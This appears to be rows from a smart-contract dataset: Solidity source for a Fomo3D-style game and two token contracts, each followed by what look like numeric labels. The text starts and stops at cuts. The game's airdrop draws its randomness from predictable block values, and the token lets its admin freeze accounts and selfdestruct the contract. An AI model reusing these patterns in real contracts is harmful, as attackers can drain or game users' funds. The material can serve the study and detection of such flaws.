_eventData_.compressedData = _eventData_.compressedData + 1000000000000000000000000000000;
core(_pID, msg.value, _affID, _team, _eventData_);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_ = manageRoundAndPlayer(_pID, _eventData_);
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
if (now <= round_[rID_].strt + rndGap_)
{
_eventData_.compressedData = _eventData_.compressedData + 3000000000000000000000000000000;
icoPhaseCore(_pID, _eth, _team, _affID, _eventData_);
} else {
core(_pID, _eth, _affID, _team, _eventData_);
}
}
function icoPhaseCore(uint256 _pID, uint256 _eth, uint256 _team, uint256 _affID, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
if ((round_[_rID].ico).keysRec(_eth) >= 1000000000000000000 || round_[_rID].plyr == 0)
{
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
plyrRnds_[_pID][_rID].ico = _eth.add(plyrRnds_[_pID][_rID].ico);
round_[_rID].ico = _eth.add(round_[_rID].ico);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
round_[_rID].icoGen = _gen.add(round_[_rID].icoGen);
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100))).sub(_gen);
round_[_rID].pot = _pot.add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
endTx(_rID, _pID, _team, _eth, 0, _eventData_);
}
function core(uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
if (round_[_rID].eth == 0 && round_[_rID].ico > 0)
roundClaimICOKeys(_rID);
if (plyrRnds_[_pID][_rID].keys == 0 && plyrRnds_[_pID][_rID].ico > 0)
{
plyrRnds_[_pID][_rID].keys = calcPlayerICOPhaseKeys(_pID, _rID);
plyrRnds_[_pID][_rID].ico = 0;
}
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_rID, _pID, _team, _eth, _keys, _eventData_);
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
if (plyrRnds_[_pID][_rIDlast].ico == 0)
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
else
if (now > round_[_rIDlast].strt + rndGap_ && round_[_rIDlast].eth == 0)
return( (((((round_[_rIDlast].icoGen).mul(1000000000000000000)) / (round_[_rIDlast].ico).keys()).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
else
return( (((round_[_rIDlast].mask).mul(calcPlayerICOPhaseKeys(_pID, _rIDlast))) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcAverageICOPhaseKeyPrice(uint256 _rID)
public
view
returns(uint256)
{
return( (round_[_rID].ico).mul(1000000000000000000) / (round_[_rID].ico).keys() );
}
function calcPlayerICOPhaseKeys(uint256 _pID, uint256 _rID)
public
view
returns(uint256)
{
if (round_[_rID].icoAvg != 0 || round_[_rID].ico == 0 )
return( ((plyrRnds_[_pID][_rID].ico).mul(1000000000000000000)) / round_[_rID].icoAvg );
else
return( ((plyrRnds_[_pID][_rID].ico).mul(1000000000000000000)) / calcAverageICOPhaseKeyPrice(_rID) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)
return ( (round_[_rID].eth).keysRec(_eth) );
else if (_now <= round_[_rID].end)
return ( (round_[_rID].ico).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else if (_now <= round_[_rID].end)
return ( (((round_[_rID].ico).keys()).add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function manageRoundAndPlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].end)
{
if (round_[_rID].ended == false)
{
_eventData_ = endRound(_eventData_);
round_[_rID].ended = true;
}
rID_++;
_rID++;
round_[_rID].strt = _now;
round_[_rID].end = _now.add(rndInit_).add(rndGap_);
}
if (plyr_[_pID].lrnd != _rID)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = _rID;
_eventData_.compressedData = _eventData_.compressedData + 10;
}
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
if (round_[_rID].eth == 0 && round_[_rID].ico > 0)
roundClaimICOKeys(_rID);
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_p3d.add(_com));
round_[_rID].mask = _ppt.add(round_[_rID].mask);
round_[_rID + 1].pot += _res;
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
return(_eventData_);
}
function roundClaimICOKeys(uint256 _rID)
private
{
round_[_rID].eth = round_[_rID].ico;
round_[_rID].keys = (round_[_rID].ico).keys();
round_[_rID].icoAvg = calcAverageICOPhaseKeyPrice(_rID);
uint256 _ppt = ((round_[_rID].icoGen).mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = (round_[_rID].icoGen).sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000));
if (_dust > 0)
round_[_rID].pot = (_dust).add(round_[_rID].pot);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
uint256 _now = now;
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _long = _eth / 100;
admin.transfer(_long);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
admin.transfer(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _rID, uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (_rID * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_ + rndGap_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcFast {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(200000000000000000000000000000000)).add(2500000000000000000000000000000000000000000000000000000000000000)).sqrt()).sub(50000000000000000000000000000000)) / (100000000000000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((50000000000000).mul(_keys.sq()).add(((100000000000000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,707 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library FrozenChecker {
using SafeMath for uint256;
struct Rule {
uint256 timeT;
uint8 initPercent;
uint256[] periods;
uint8[] percents;
}
function check(Rule storage self, uint256 totalFrozenValue) internal view returns (uint256) {
if (totalFrozenValue == uint256(0)) {
return 0;
}
if (self.timeT == uint256(0) || self.timeT > now) {
return totalFrozenValue.sub(totalFrozenValue.mul(self.initPercent).div(100));
}
for (uint256 i = 0; i < self.periods.length.sub(1); i = i.add(1)) {
if (now >= self.timeT.add(self.periods[i]) && now < self.timeT.add(self.periods[i.add(1)])) {
return totalFrozenValue.sub(totalFrozenValue.mul(self.percents[i]).div(100));
}
}
if (now >= self.timeT.add(self.periods[self.periods.length.sub(1)])) {
return totalFrozenValue.sub(totalFrozenValue.mul(self.percents[self.periods.length.sub(1)]).div(100));
}
}
}
library FrozenValidator {
using SafeMath for uint256;
using FrozenChecker for FrozenChecker.Rule;
struct Validator {
mapping(address => IndexValue) data;
KeyFlag[] keys;
uint256 size;
}
struct IndexValue {
uint256 keyIndex;
FrozenChecker.Rule rule;
mapping (address => uint256) frozenBalances;
}
struct KeyFlag {
address key;
bool deleted;
}
function addRule(Validator storage self, address key, uint8 initPercent, uint256[] periods, uint8[] percents) internal returns (bool replaced) {
require(key != address(0));
require(periods.length == percents.length);
require(periods.length > 0);
require(periods[0] == uint256(0));
require(initPercent <= percents[0]);
for (uint256 i = 1; i < periods.length; i = i.add(1)) {
require(periods[i.sub(1)] < periods[i]);
require(percents[i.sub(1)] <= percents[i]);
}
require(percents[percents.length.sub(1)] == 100);
FrozenChecker.Rule memory rule = FrozenChecker.Rule(0, initPercent, periods, percents);
uint256 keyIndex = self.data[key].keyIndex;
self.data[key].rule = rule;
if (keyIndex > 0) {
return true;
} else {
keyIndex = self.keys.length++;
self.data[key].keyIndex = keyIndex.add(1);
self.keys[keyIndex].key = key;
self.size++;
return false;
}
}
function removeRule(Validator storage self, address key) internal returns (bool success) {
uint256 keyIndex = self.data[key].keyIndex;
if (keyIndex == 0) {
return false;
}
delete self.data[key];
self.keys[keyIndex.sub(1)].deleted = true;
self.size--;
return true;
}
function containRule(Validator storage self, address key) internal view returns (bool) {
return self.data[key].keyIndex > 0;
}
function addTimeT(Validator storage self, address addr, uint256 timeT) internal returns (bool) {
require(timeT > now);
self.data[addr].rule.timeT = timeT;
return true;
}
function addFrozenBalance(Validator storage self, address from, address to, uint256 value) internal returns (uint256) {
self.data[from].frozenBalances[to] = self.data[from].frozenBalances[to].add(value);
return self.data[from].frozenBalances[to];
}
function validate(Validator storage self, address addr) internal view returns (uint256) {
uint256 frozenTotal = 0;
for (uint256 i = iterateStart(self); iterateValid(self, i); i = iterateNext(self, i)) {
address ruleaddr = iterateGet(self, i);
FrozenChecker.Rule storage rule = self.data[ruleaddr].rule;
frozenTotal = frozenTotal.add(rule.check(self.data[ruleaddr].frozenBalances[addr]));
}
return frozenTotal;
}
function iterateStart(Validator storage self) internal view returns (uint256 keyIndex) {
return iterateNext(self, uint256(-1));
}
function iterateValid(Validator storage self, uint256 keyIndex) internal view returns (bool) {
return keyIndex < self.keys.length;
}
function iterateNext(Validator storage self, uint256 keyIndex) internal view returns (uint256) {
keyIndex++;
while (keyIndex < self.keys.length && self.keys[keyIndex].deleted) {
keyIndex++;
}
return keyIndex;
}
function iterateGet(Validator storage self, uint256 keyIndex) internal view returns (address) {
return self.keys[keyIndex].key;
}
}
contract KYPool {
using SafeMath for uint256;
using FrozenValidator for FrozenValidator.Validator;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address internal admin;
function changeAdmin(address newAdmin) public returns (bool) {
require(msg.sender == admin);
require(newAdmin != address(0));
uint256 balAdmin = balances[admin];
balances[newAdmin] = balances[newAdmin].add(balAdmin);
balances[admin] = 0;
admin = newAdmin;
emit Transfer(admin, newAdmin, balAdmin);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor(string tokenName, string tokenSymbol, uint8 tokenDecimals, uint256 totalTokenSupply ) public {
name = tokenName;
symbol = tokenSymbol;
decimals = tokenDecimals;
totalSupply = totalTokenSupply;
admin = msg.sender;
balances[msg.sender] = totalTokenSupply;
emit Transfer(0x0, msg.sender, totalTokenSupply);
}
mapping (address => bool) frozenAccount;
mapping (address => uint256) frozenTimestamp;
function getFrozenTimestamp(address _target) public view returns (uint256) {
return frozenTimestamp[_target];
}
function getFrozenAccount(address _target) public view returns (bool) {
return frozenAccount[_target];
}
function freeze(address _target, bool _freeze) public returns (bool) {
require(msg.sender == admin);
require(_target != admin);
frozenAccount[_target] = _freeze;
return true;
}
function freezeWithTimestamp(address _target, uint256 _timestamp) public returns (bool) {
require(msg.sender == admin);
require(_target != admin);
frozenTimestamp[_target] = _timestamp;
return true;
}
function multiFreeze(address[] _targets, bool[] _freezes) public returns (bool) {
require(msg.sender == admin);
require(_targets.length == _freezes.length);
uint256 len = _targets.length;
require(len > 0);
for (uint256 i = 0; i < len; i = i.add(1)) {
address _target = _targets[i];
require(_target != admin);
bool _freeze = _freezes[i];
frozenAccount[_target] = _freeze;
}
return true;
}
function multiFreezeWithTimestamp(address[] _targets, uint256[] _timestamps) public returns (bool) {
require(msg.sender == admin);
require(_targets.length == _timestamps.length);
uint256 len = _targets.length;
require(len > 0);
for (uint256 i = 0; i < len; i = i.add(1)) {
address _target = _targets[i];
require(_target != admin);
uint256 _timestamp = _timestamps[i];
frozenTimestamp[_target] = _timestamp;
}
return true;
}
FrozenValidator.Validator validator;
function addRule(address addr, uint8 initPercent, uint256[] periods, uint8[] percents) public returns (bool) {
require(msg.sender == admin);
return validator.addRule(addr, initPercent, periods, percents);
}
function addTimeT(address addr, uint256 timeT) public returns (bool) {
require(msg.sender == admin);
return validator.addTimeT(addr, timeT);
}
function removeRule(address addr) public returns (bool) {
require(msg.sender == admin);
return validator.removeRule(addr);
}
function multiTransfer(address[] _tos, uint256[] _values) public returns (bool) {
require(!frozenAccount[msg.sender]);
require(now > frozenTimestamp[msg.sender]);
require(_tos.length == _values.length);
uint256 len = _tos.length;
require(len > 0);
uint256 amount = 0;
for (uint256 i = 0; i < len; i = i.add(1)) {
amount = amount.add(_values[i]);
}
require(amount <= balances[msg.sender].sub(validator.validate(msg.sender)));
for (uint256 j = 0; j < len; j = j.add(1)) {
address _to = _tos[j];
if (validator.containRule(msg.sender) && msg.sender != _to) {
validator.addFrozenBalance(msg.sender, _to, _values[j]);
}
balances[_to] = balances[_to].add(_values[j]);
balances[msg.sender] = balances[msg.sender].sub(_values[j]);
emit Transfer(msg.sender, _to, _values[j]);
}
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
transferfix(_to, _value);
return true;
}
function transferfix(address _to, uint256 _value) public {
require(!frozenAccount[msg.sender]);
require(now > frozenTimestamp[msg.sender]);
require(balances[msg.sender].sub(_value) >= validator.validate(msg.sender));
if (validator.containRule(msg.sender) && msg.sender != _to) {
validator.addFrozenBalance(msg.sender, _to, _value);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(!frozenAccount[_from]);
require(now > frozenTimestamp[_from]);
require(_value <= balances[_from].sub(validator.validate(_from)));
require(_value <= allowed[_from][msg.sender]);
if (validator.containRule(_from) && _from != _to) {
validator.addFrozenBalance(_from, _to, _value);
}
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function kill() public {
require(msg.sender == admin);
selfdestruct(admin);
}
} | 1 | 3,474 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DSH is ERC20 {
using SafeMath for uint256;
uint constant MAX_UINT = 2**256 - 1;
string public name;
string public symbol;
uint8 public decimals;
uint initialSupply;
uint initializedTime;
uint hourRate;
struct UserBalance {
uint latestBalance;
uint lastCalculated;
}
mapping(address => UserBalance) balances;
